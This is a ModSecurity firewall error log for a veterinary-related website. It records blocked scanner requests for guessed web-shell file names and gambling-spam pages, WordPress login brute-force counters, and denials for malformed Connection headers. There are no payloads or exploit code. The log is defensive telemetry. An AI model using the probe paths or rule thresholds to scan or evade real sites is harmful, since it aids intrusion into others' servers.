[Fri Feb 27 02:51:50.081004 2026] [:error] [pid 20059:tid 20121] [client 20.48.148.227:1952] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaCWRpZBS5wIa_NsqshMMAAAAdM"]
[Fri Feb 27 02:51:50.504958 2026] [:error] [pid 20059:tid 20115] [client 20.48.148.227:1994] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaCWRpZBS5wIa_NsqshMNwAAAc0"]
[Fri Feb 27 02:51:50.939559 2026] [:error] [pid 19020:tid 19032] [client 20.48.148.227:1929] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaCWRrN3kp7wL6QzPnVPjQAAAUo"]
[Fri Feb 27 02:51:51.393683 2026] [:error] [pid 19020:tid 19034] [client 20.48.148.227:1911] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaCWR7N3kp7wL6QzPnVPjgAAAUw"]
[Fri Feb 27 02:51:51.817257 2026] [:error] [pid 19020:tid 19046] [client 20.48.148.227:1861] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaCWR7N3kp7wL6QzPnVPkAAAAVg"]
[Fri Feb 27 02:51:52.234937 2026] [:error] [pid 18831:tid 18917] [client 20.48.148.227:1876] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaCWSP5KHTHUIuWRG2bgtgAAAEQ"]
[Fri Feb 27 02:51:52.660196 2026] [:error] [pid 18831:tid 18931] [client 20.48.148.227:1971] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaCWSP5KHTHUIuWRG2bguAAAAFI"]
[Fri Feb 27 02:51:53.090334 2026] [:error] [pid 18843:tid 18959] [client 20.48.148.227:1903] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaCWSSuD2bhSYSowPs0ccgAAARM"]
[Fri Feb 27 02:51:53.510185 2026] [:error] [pid 19020:tid 19030] [client 20.48.148.227:1969] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaCWSbN3kp7wL6QzPnVPkgAAAUg"]
[Fri Feb 27 02:51:53.946179 2026] [:error] [pid 20059:tid 20106] [client 20.48.148.227:1884] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaCWSZZBS5wIa_NsqshMXQAAAcQ"]
[Fri Feb 27 02:51:54.373039 2026] [:error] [pid 18831:tid 18926] [client 20.48.148.227:1733] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaCWSv5KHTHUIuWRG2bgvQAAAE0"]
[Fri Feb 27 02:51:54.871692 2026] [:error] [pid 20059:tid 20111] [client 20.48.148.227:1859] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaCWSpZBS5wIa_NsqshMaQAAAck"]
[Fri Feb 27 02:51:55.295850 2026] [:error] [pid 18843:tid 18957] [client 20.48.148.227:1882] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaCWSyuD2bhSYSowPs0cdAAAARE"]
[Fri Feb 27 02:51:55.750960 2026] [:error] [pid 18843:tid 18940] [client 20.48.148.227:2022] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaCWSyuD2bhSYSowPs0cdgAAAQA"]
[Fri Feb 27 02:51:56.184511 2026] [:error] [pid 19020:tid 19037] [client 20.48.148.227:1865] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaCWTLN3kp7wL6QzPnVPmwAAAU8"]
[Fri Feb 27 02:51:56.625989 2026] [:error] [pid 18831:tid 18919] [client 20.48.148.227:1894] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaCWTP5KHTHUIuWRG2bgvwAAAEY"]
[Fri Feb 27 02:51:57.080573 2026] [:error] [pid 18831:tid 18937] [client 20.48.148.227:1871] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aaCWTf5KHTHUIuWRG2bgwQAAAFg"]
[Fri Feb 27 02:51:57.495242 2026] [:error] [pid 19020:tid 19036] [client 20.48.148.227:1892] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aaCWTbN3kp7wL6QzPnVPnQAAAU4"]
[Fri Feb 27 02:51:57.932201 2026] [:error] [pid 19020:tid 19040] [client 20.48.148.227:1883] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aaCWTbN3kp7wL6QzPnVPoQAAAVI"]
[Fri Feb 27 02:51:58.347461 2026] [:error] [pid 19020:tid 19043] [client 20.48.148.227:1919] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aaCWTrN3kp7wL6QzPnVPpwAAAVU"]
[Fri Feb 27 02:51:58.760664 2026] [:error] [pid 19020:tid 19027] [client 20.48.148.227:1899] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aaCWTrN3kp7wL6QzPnVPrAAAAUU"]
[Fri Feb 27 02:51:59.189335 2026] [:error] [pid 20059:tid 20104] [client 20.48.148.227:1734] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aaCWT5ZBS5wIa_NsqshMfAAAAcI"]
[Fri Feb 27 02:51:59.601689 2026] [:error] [pid 18843:tid 18956] [client 20.48.148.227:1833] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aaCWTyuD2bhSYSowPs0cfAAAARA"]
[Fri Feb 27 02:52:00.035088 2026] [:error] [pid 19020:tid 19039] [client 20.48.148.227:1880] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aaCWULN3kp7wL6QzPnVPtgAAAVE"]
[Fri Feb 27 03:13:05.170645 2026] [:error] [pid 20059:tid 20122] [client 43.156.232.190:47028] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaCbQZZBS5wIa_NsqshZ7AAAAdQ"]
[Fri Feb 27 03:21:52.265765 2026] [:error] [pid 20059:tid 20105] [client 211.21.61.246:53938] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaCdUJZBS5wIa_Nsqshj5QAAAcM"]
[Fri Feb 27 04:03:37.309208 2026] [:error] [pid 37895:tid 37953] [client 51.68.233.44:43266] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaCnGbx7AKEYlDsU2_125AAAAII"]
[Fri Feb 27 04:03:39.664644 2026] [:error] [pid 37984:tid 37997] [client 51.68.233.44:32904] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaCnG7vzllUfvW6W6vGGtAAAAMs"]
[Fri Feb 27 04:03:42.480003 2026] [:error] [pid 37984:tid 37990] [client 51.68.233.44:32932] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaCnHrvzllUfvW6W6vGGwwAAAMQ"]
[Fri Feb 27 04:03:45.159984 2026] [:error] [pid 37894:tid 37942] [client 51.68.233.44:32950] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaCnIQrG3d4cnTcm0zwdZwAAAFI"]
[Fri Feb 27 04:03:47.805151 2026] [:error] [pid 37893:tid 37905] [client 51.68.233.44:32976] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaCnI7CiThGvciFYy77i4AAAAAg"]
[Fri Feb 27 04:03:50.250537 2026] [:error] [pid 37895:tid 37951] [client 51.68.233.44:34772] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aaCnJrx7AKEYlDsU2_12-gAAAIA"]
[Fri Feb 27 04:03:53.028765 2026] [:error] [pid 37894:tid 37933] [client 51.68.233.44:34788] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaCnKQrG3d4cnTcm0zwdiwAAAEk"]
[Fri Feb 27 04:03:55.732355 2026] [:error] [pid 37984:tid 38000] [client 51.68.233.44:34816] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaCnK7vzllUfvW6W6vGG7wAAAM4"]
[Fri Feb 27 04:03:58.513019 2026] [:error] [pid 37895:tid 37962] [client 51.68.233.44:34844] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaCnLrx7AKEYlDsU2_13DAAAAIs"]
[Fri Feb 27 04:04:00.933324 2026] [:error] [pid 37984:tid 37997] [client 51.68.233.44:47630] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaCnMLvzllUfvW6W6vGHDQAAAMs"]
[Fri Feb 27 04:04:03.343836 2026] [:error] [pid 37984:tid 37998] [client 51.68.233.44:47636] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaCnM7vzllUfvW6W6vGHFgAAAMw"]
[Fri Feb 27 04:04:05.914769 2026] [:error] [pid 37894:tid 37927] [client 51.68.233.44:47662] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaCnNQrG3d4cnTcm0zwdqgAAAEM"]
[Fri Feb 27 04:04:08.588422 2026] [:error] [pid 37894:tid 37941] [client 51.68.233.44:47676] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaCnOArG3d4cnTcm0zwdtAAAAFE"]
[Fri Feb 27 04:04:11.299503 2026] [:error] [pid 37894:tid 37928] [client 51.68.233.44:48518] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaCnOwrG3d4cnTcm0zwdvQAAAEQ"]
[Fri Feb 27 04:04:13.863340 2026] [:error] [pid 37894:tid 37942] [client 51.68.233.44:48534] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaCnPQrG3d4cnTcm0zwdwAAAAFI"]
[Fri Feb 27 04:04:16.649319 2026] [:error] [pid 37984:tid 38002] [client 51.68.233.44:48556] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaCnQLvzllUfvW6W6vGHNQAAANA"]
[Fri Feb 27 04:04:19.126670 2026] [:error] [pid 37893:tid 37907] [client 51.68.233.44:51904] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaCnQ7CiThGvciFYy77jGgAAAAo"]
[Fri Feb 27 04:04:21.797990 2026] [:error] [pid 37894:tid 37942] [client 51.68.233.44:51934] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaCnRQrG3d4cnTcm0zwd0QAAAFI"]
[Fri Feb 27 04:04:24.611754 2026] [:error] [pid 37984:tid 37986] [client 51.68.233.44:51952] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaCnSLvzllUfvW6W6vGHWgAAAMA"]
[Fri Feb 27 04:04:27.235280 2026] [:error] [pid 37984:tid 38002] [client 51.68.233.44:51974] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaCnS7vzllUfvW6W6vGHYwAAANA"]
[Fri Feb 27 04:04:29.679011 2026] [:error] [pid 37984:tid 37996] [client 51.68.233.44:41858] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaCnTbvzllUfvW6W6vGHagAAAMo"]
[Fri Feb 27 05:21:22.098796 2026] [:error] [pid 4081:tid 4100] [client 147.135.214.239:34150] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaC5Ug55mnr35z8h7t3jnQAAANE"]
[Fri Feb 27 05:54:15.052336 2026] [:error] [pid 21329:tid 21388] [client 91.185.191.211:45656] [client 91.185.191.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.185.191.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDBB5vQWnde-MjcQ1FkzQAAAUU"]
[Fri Feb 27 07:29:39.438556 2026] [:error] [pid 42435:tid 42454] [client 85.248.226.9:49140] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.248.226.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDXYx5hHLnaukp_y9-nhgAAAY4"]
[Fri Feb 27 07:33:52.113226 2026] [:error] [pid 21329:tid 21392] [client 211.21.61.245:57520] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDYYJvQWnde-MjcQ1F1EAAAAUk"]
[Fri Feb 27 07:40:40.830235 2026] [:error] [pid 5365:tid 5389] [client 43.157.191.20:53556] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaDZ-JYAa8J3tYxdG3yPDgAAARY"]
[Fri Feb 27 07:58:27.734212 2026] [:error] [pid 42658:tid 42668] [client 192.144.148.122:39164] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaDeI4zcoYl3nRbu1jayoQAAAgg"]
[Fri Feb 27 08:06:27.335911 2026] [:error] [pid 42435:tid 42440] [client 116.202.3.129:59258] [client 116.202.3.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.3.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDgAx5hHLnaukp_y9-wfAAAAYA"]
[Fri Feb 27 08:18:24.692655 2026] [:error] [pid 54231:tid 54245] [client 87.98.165.243:54028] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.98.165.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaDi0OTvb5AeyJCdY7AOxwAAAEs"]
